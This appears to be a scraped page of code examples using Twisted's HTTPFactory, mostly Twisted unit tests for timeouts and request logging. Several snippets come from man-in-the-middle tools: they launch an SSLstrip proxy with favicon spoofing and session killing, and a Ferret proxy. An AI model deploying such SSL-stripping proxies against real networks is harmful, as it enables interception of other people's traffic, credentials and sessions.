Python twisted.web.http.HTTPFactory() Examples

def __init__(self, resource, requestFactory=None, *args, **kwargs):
        """
        @param resource: The root of the resource hierarchy.  All request
            traversal for requests received by this factory will begin at this
            resource.
        @type resource: L{IResource} provider
        @param requestFactory: Overwrite for default requestFactory.
        @type requestFactory: C{callable} or C{class}.

        @see: L{twisted.web.http.HTTPFactory.__init__}
        """
        http.HTTPFactory.__init__(self, *args, **kwargs)
        self.sessions = {}
        self.resource = resource
        if requestFactory is not None:
            self.requestFactory = requestFactory 

def test_genericHTTPChannelCallLaterUpgrade(self):
        """
        If C{callLater} is patched onto the L{http._GenericHTTPChannelProtocol}
        then we need to propagate it across onto a new backing channel after
        upgrade.
        """
        clock = Clock()
        factory = http.HTTPFactory(reactor=clock)
        protocol = factory.buildProtocol(None)

        self.assertEqual(protocol.callLater, clock.callLater)
        self.assertEqual(protocol._channel.callLater, clock.callLater)

        transport = StringTransport()
        transport.negotiatedProtocol = b'h2'
        protocol.requestFactory = DummyHTTPHandler
        protocol.makeConnection(transport)

        # Send a byte to make it think the handshake is done.
        protocol.dataReceived(b'P')

        self.assertEqual(protocol.callLater, clock.callLater)
        self.assertEqual(protocol._channel.callLater, clock.callLater) 

def test_requestBodyTimeoutFromFactory(self):
        """
        L{HTTPChannel} timeouts whenever data from a request body is not
        delivered to it in time, even when it gets built from a L{HTTPFactory}.
        """
        clock = Clock()
        factory = http.HTTPFactory(timeout=100, reactor=clock)
        factory.startFactory()
        protocol = factory.buildProtocol(None)
        transport = StringTransport()
        protocol = parametrizeTimeoutMixin(protocol, clock)

        # Confirm that the timeout is what we think it is.
        self.assertEqual(protocol.timeOut, 100)

        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        clock.advance(99)
        self.assertFalse(transport.disconnecting)
        clock.advance(2)
        self.assertTrue(transport.disconnecting) 

def test_connectionLostAfterForceClose(self):
        """
        If a timed out transport doesn't close after 15 seconds, the
        L{HTTPChannel} will forcibly close it.
        """
        clock = Clock()
        transport = StringTransport()
        factory = http.HTTPFactory()
        protocol = factory.buildProtocol(None)
        protocol = parametrizeTimeoutMixin(protocol, clock)
        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        self.assertFalse(transport.disconnecting)
        self.assertFalse(transport.disconnected)

        # Force the initial timeout and the follow-on forced closure.
        clock.advance(60)
        clock.advance(15)
        self.assertTrue(transport.disconnecting)
        self.assertTrue(transport.disconnected)

        # Now call connectionLost on the protocol. This is done by some
        # transports, including TCP and TLS. We don't have anything we can
        # assert on here: this just must not explode.
        protocol.connectionLost(ConnectionDone) 

def test_transportNotAbortedWithZeroAbortTimeout(self):
        """
        If the L{HTTPChannel} has its c{abortTimeout} set to L{None}, it never
        aborts.
        """
        clock = Clock()
        transport = StringTransport()
        factory = http.HTTPFactory()
        protocol = factory.buildProtocol(None)
        protocol._channel.abortTimeout = None
        protocol = parametrizeTimeoutMixin(protocol, clock)
        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        self.assertFalse(transport.disconnecting)
        self.assertFalse(transport.disconnected)

        # Force the initial timeout.
        clock.advance(60)
        self.assertTrue(transport.disconnecting)
        self.assertFalse(transport.disconnected)

        # Move an absurdly long way just to prove the point.
        clock.advance(2**32)
        self.assertTrue(transport.disconnecting)
        self.assertFalse(transport.disconnected) 

def _xforwardedforTest(self, header):
        """
        Assert that a request with the given value in its I{X-Forwarded-For}
        header is logged by L{proxiedLogFormatter} the same way it would have
        been logged by L{combinedLogFormatter} but with 172.16.1.2 as the
        client address instead of the normal value.

        @param header: An I{X-Forwarded-For} header with left-most address of
            172.16.1.2.
        """
        reactor = Clock()
        reactor.advance(1234567890)

        timestamp = http.datetimeToLogString(reactor.seconds())
        request = DummyRequestForLogTest(http.HTTPFactory(reactor=reactor))
        expected = http.combinedLogFormatter(timestamp, request).replace(
            u"1.2.3.4", u"172.16.1.2")
        request.requestHeaders.setRawHeaders(b"x-forwarded-for", [header])
        line = http.proxiedLogFormatter(timestamp, request)

        self.assertEqual(expected, line) 

def test_clientAddrIPv6(self):
        """
        A request from an IPv6 client is logged with that IP address.
        """
        reactor = Clock()
        reactor.advance(1234567890)

        timestamp = http.datetimeToLogString(reactor.seconds())
        request = DummyRequestForLogTest(http.HTTPFactory(reactor=reactor))
        request.client = IPv6Address("TCP", b"::1", 12345)

        line = http.combinedLogFormatter(timestamp, request)
        self.assertEqual(
            u'"::1" - - [13/Feb/2009:23:31:30 +0000] '
            u'"GET /dummy HTTP/1.0" 123 - "-" "-"',
            line) 

def test_nonASCII(self):
        """
        Bytes in fields of the request which are not part of ASCII are escaped
        in the result.
        """
        reactor = Clock()
        reactor.advance(1234567890)

        timestamp = http.datetimeToLogString(reactor.seconds())
        request = DummyRequestForLogTest(http.HTTPFactory(reactor=reactor))
        request.client = IPv4Address("TCP", b"evil x-forwarded-for \x80", 12345)
        request.method = b"POS\x81"
        request.protocol = b"HTTP/1.\x82"
        request.requestHeaders.addRawHeader(b"referer", b"evil \x83")
        request.requestHeaders.addRawHeader(b"user-agent", b"evil \x84")

        line = http.combinedLogFormatter(timestamp, request)
        self.assertEqual(
            u'"evil x-forwarded-for \\x80" - - [13/Feb/2009:23:31:30 +0000] '
            u'"POS\\x81 /dummy HTTP/1.0" 123 - "evil \\x83" "evil \\x84"',
            line) 

def __init__(self, resource, requestFactory=None, *args, **kwargs):
        """
        @param resource: The root of the resource hierarchy.  All request
            traversal for requests received by this factory will begin at this
            resource.
        @type resource: L{IResource} provider
        @param requestFactory: Overwrite for default requestFactory.
        @type requestFactory: C{callable} or C{class}.

        @see: L{twisted.web.http.HTTPFactory.__init__}
        """
        http.HTTPFactory.__init__(self, *args, **kwargs)
        self.sessions = {}
        self.resource = resource
        if requestFactory is not None:
            self.requestFactory = requestFactory 

def test_requestBodyTimeoutFromFactory(self):
        """
        L{HTTPChannel} timeouts whenever data from a request body is not
        delivered to it in time, even when it gets built from a L{HTTPFactory}.
        """
        clock = Clock()
        factory = http.HTTPFactory(timeout=100, reactor=clock)
        factory.startFactory()
        protocol = factory.buildProtocol(None)
        transport = StringTransport()

        # Confirm that the timeout is what we think it is.
        self.assertEqual(protocol.timeOut, 100)

        # This is a terrible violation of the abstraction later of
        # _genericHTTPChannelProtocol, but we need to do it because
        # policies.TimeoutMixin doesn't accept a reactor on the object.
        # See https://twistedmatrix.com/trac/ticket/8488
        protocol._channel.callLater = clock.callLater
        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        clock.advance(99)
        self.assertFalse(transport.disconnecting)
        clock.advance(2)
        self.assertTrue(transport.disconnecting) 

def test_requestBodyDefaultTimeout(self):
        """
        L{HTTPChannel}'s default timeout is 60 seconds.
        """
        clock = Clock()
        transport = StringTransport()
        factory = http.HTTPFactory()
        protocol = factory.buildProtocol(None)

        # This is a terrible violation of the abstraction later of
        # _genericHTTPChannelProtocol, but we need to do it because
        # policies.TimeoutMixin doesn't accept a reactor on the object.
        # See https://twistedmatrix.com/trac/ticket/8488
        protocol._channel.callLater = clock.callLater
        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        clock.advance(59)
        self.assertFalse(transport.disconnecting)
        clock.advance(1)
        self.assertTrue(transport.disconnecting) 

def test_nonASCII(self):
        """
        Bytes in fields of the request which are not part of ASCII are escaped
        in the result.
        """
        reactor = Clock()
        reactor.advance(1234567890)

        timestamp = http.datetimeToLogString(reactor.seconds())
        request = DummyRequestForLogTest(http.HTTPFactory(reactor=reactor))
        request.client = IPv4Address("TCP", b"evil x-forwarded-for \x80", 12345)
        request.method = b"POS\x81"
        request.protocol = b"HTTP/1.\x82"
        request.requestHeaders.addRawHeader(b"referer", b"evil \x83")
        request.requestHeaders.addRawHeader(b"user-agent", b"evil \x84")

        line = http.combinedLogFormatter(timestamp, request)
        self.assertEqual(
            u'"evil x-forwarded-for \\x80" - - [13/Feb/2009:23:31:30 +0000] '
            u'"POS\\x81 /dummy HTTP/1.0" 123 - "evil \\x83" "evil \\x84"',
            line) 

def _xforwardedforTest(self, header):
        """
        Assert that a request with the given value in its I{X-Forwarded-For}
        header is logged by L{proxiedLogFormatter} the same way it would have
        been logged by L{combinedLogFormatter} but with 172.16.1.2 as the
        client address instead of the normal value.

        @param header: An I{X-Forwarded-For} header with left-most address of
            172.16.1.2.
        """
        reactor = Clock()
        reactor.advance(1234567890)

        timestamp = http.datetimeToLogString(reactor.seconds())
        request = DummyRequestForLogTest(http.HTTPFactory(reactor=reactor))
        expected = http.combinedLogFormatter(timestamp, request).replace(
            u"1.2.3.4", u"172.16.1.2")
        request.requestHeaders.setRawHeaders(b"x-forwarded-for", [header])
        line = http.proxiedLogFormatter(timestamp, request)

        self.assertEqual(expected, line) 

def __init__(self, wordCounter):
        self.wordCounter = wordCounter
        http.HTTPFactory.__init__(self) 

def reactor(self, StrippingProxy):
        from core.ferretng.FerretProxy import FerretProxy
        FerretFactory = http.HTTPFactory(timeout=10)
        FerretFactory.protocol = FerretProxy
        reactor.listenTCP(self.ferret_port, FerretFactory) 

def run(self):
        print 'Starting Thread:' + self.objectName()
        listenPort   = self.port
        spoofFavicon = False
        killSessions = True
        print 'SSLstrip v0.9 by Moxie Marlinspike Thread::online'
        URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
        CookieCleaner.getInstance().setEnabled(killSessions)
        strippingFactory              = http.HTTPFactory(timeout=10)
        strippingFactory.protocol     = StrippingProxy
        reactor.listenTCP(int(listenPort), strippingFactory)
        reactor.run(installSignalHandlers=False) 

def test_SSLStrip_Proxy(self):
        favicon = True
        preserve_cache = True
        killsessions = True
        listen_port = 10000

        from twisted.web import http
        from twisted.internet import reactor
        from core.sslstrip.CookieCleaner import CookieCleaner
        from core.proxyplugins import ProxyPlugins
        from core.sslstrip.StrippingProxy import StrippingProxy
        from core.sslstrip.URLMonitor import URLMonitor

        URLMonitor.getInstance().setFaviconSpoofing(favicon)
        URLMonitor.getInstance().setCaching(preserve_cache)
        CookieCleaner.getInstance().setEnabled(killsessions)

        strippingFactory          = http.HTTPFactory(timeout=10)
        strippingFactory.protocol = StrippingProxy

        reactor.listenTCP(listen_port, strippingFactory)

        #ProxyPlugins().all_plugins = plugins
        t = threading.Thread(name='sslstrip_test', target=reactor.run)
        t.setDaemon(True)
        t.start() 

def test_finishCleansConnection(self):
        """
        L{http.Request.finish} will notify the channel that it is finished, and
        will put the transport back in the producing state so that the reactor
        can close the connection.
        """
        factory = http.HTTPFactory()
        factory.timeOut = None
        factory._logDateTime = "sometime"
        factory._logDateTimeCall = True
        factory.startFactory()
        factory.logFile = BytesIO()
        proto = factory.buildProtocol(None)
        proto._channel._optimisticEagerReadSize = 0

        val = [
            b"GET /path HTTP/1.1\r\n",
            b"\r\n\r\n"
        ]

        trans = StringTransport()
        proto.makeConnection(trans)

        self.assertEqual(trans.producerState, 'producing')

        for x in val:
            proto.dataReceived(x)

        proto.dataReceived(b'GET ') # just a few extra bytes to exhaust the
                                    # optimistic buffer size
        self.assertEqual(trans.producerState, 'paused')
        proto._channel.requests[0].finish()
        self.assertEqual(trans.producerState, 'producing') 

def test_SSLStrip_Proxy(self):
        favicon = True
        preserve_cache = True
        killsessions = True
        listen_port = 10000

        from twisted.web import http
        from twisted.internet import reactor
        from core.sslstrip.CookieCleaner import CookieCleaner
        from core.proxyplugins import ProxyPlugins
        from core.sslstrip.StrippingProxy import StrippingProxy
        from core.sslstrip.URLMonitor import URLMonitor

        URLMonitor.getInstance().setFaviconSpoofing(favicon)
        URLMonitor.getInstance().setCaching(preserve_cache)
        CookieCleaner.getInstance().setEnabled(killsessions)

        strippingFactory          = http.HTTPFactory(timeout=10)
        strippingFactory.protocol = StrippingProxy

        reactor.listenTCP(listen_port, strippingFactory)

        #ProxyPlugins().all_plugins = plugins
        t = threading.Thread(name='sslstrip_test', target=reactor.run)
        t.setDaemon(True)
        t.start() 

def reactor(self, StrippingProxy):
        from core.ferretng.FerretProxy import FerretProxy
        FerretFactory = http.HTTPFactory(timeout=10)
        FerretFactory.protocol = FerretProxy
        reactor.listenTCP(self.ferret_port, FerretFactory) 

def __init__(self, wordCount):
        self.wordCounter = wordCount
        http.HTTPFactory.__init__(self) 

def __init__(self, resource, logPath=None, timeout=60*60*12):
        """Initialize.
        """
        http.HTTPFactory.__init__(self, logPath=logPath, timeout=timeout)
        self.sessions = {}
        self.resource = resource 

def setUp(self):
        self.site = http.HTTPFactory()
        self.site.logFile = StringIO()
        self.request = DummyRequestForLogTest(self.site, False) 

def buildProtocol(self, addr):
        """Generate a channel attached to this site.
        """
        channel = http.HTTPFactory.buildProtocol(self, addr)
        channel.requestFactory = self.requestFactory
        channel.site = self
        return channel 

def __init__(self, resource, logPath=None, timeout=60*60*12):
        """
        Initialize.
        """
        http.HTTPFactory.__init__(self, logPath=logPath, timeout=timeout)
        self.sessions = {}
        self.resource = resource 

def buildProtocol(self, addr):
        """
        Generate a channel attached to this site.
        """
        channel = http.HTTPFactory.buildProtocol(self, addr)
        channel.requestFactory = self.requestFactory
        channel.site = self
        return channel 

def setUp(self):
        self.site = http.HTTPFactory()
        self.site.logFile = StringIO()
        self.request = DummyRequestForLogTest(self.site, False) 

def test_GenericHTTPChannelPropagatesCallLater(self):
        """
        If C{callLater} is patched onto the L{http._GenericHTTPChannelProtocol}
        then we need to propagate it through to the backing channel.
        """
        clock = Clock()
        factory = http.HTTPFactory(reactor=clock)
        protocol = factory.buildProtocol(None)

        self.assertEqual(protocol.callLater, clock.callLater)
        self.assertEqual(protocol._channel.callLater, clock.callLater) 

def test_transportNotAbortedAfterConnectionLost(self):
        """
        If a timed out transport ends up calling C{connectionLost}, it prevents
        the force-closure of the transport.
        """
        clock = Clock()
        transport = StringTransport()
        factory = http.HTTPFactory()
        protocol = factory.buildProtocol(None)
        protocol = parametrizeTimeoutMixin(protocol, clock)
        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        self.assertFalse(transport.disconnecting)
        self.assertFalse(transport.disconnected)

        # Force the initial timeout.
        clock.advance(60)
        self.assertTrue(transport.disconnecting)
        self.assertFalse(transport.disconnected)

        # Move forward nearly to the timeout, then fire connectionLost.
        clock.advance(14)
        protocol.connectionLost(None)

        # Check that the transport isn't forcibly closed.
        clock.advance(1)
        self.assertTrue(transport.disconnecting)
        self.assertFalse(transport.disconnected) 

def test_requestBodyDefaultTimeout(self):
        """
        L{HTTPChannel}'s default timeout is 60 seconds.
        """
        clock = Clock()
        transport = StringTransport()
        factory = http.HTTPFactory()
        protocol = factory.buildProtocol(None)
        protocol = parametrizeTimeoutMixin(protocol, clock)
        protocol.makeConnection(transport)
        protocol.dataReceived(b'POST / HTTP/1.0\r\nContent-Length: 2\r\n\r\n')
        clock.advance(59)
        self.assertFalse(transport.disconnecting)
        clock.advance(1)
        self.assertTrue(transport.disconnecting)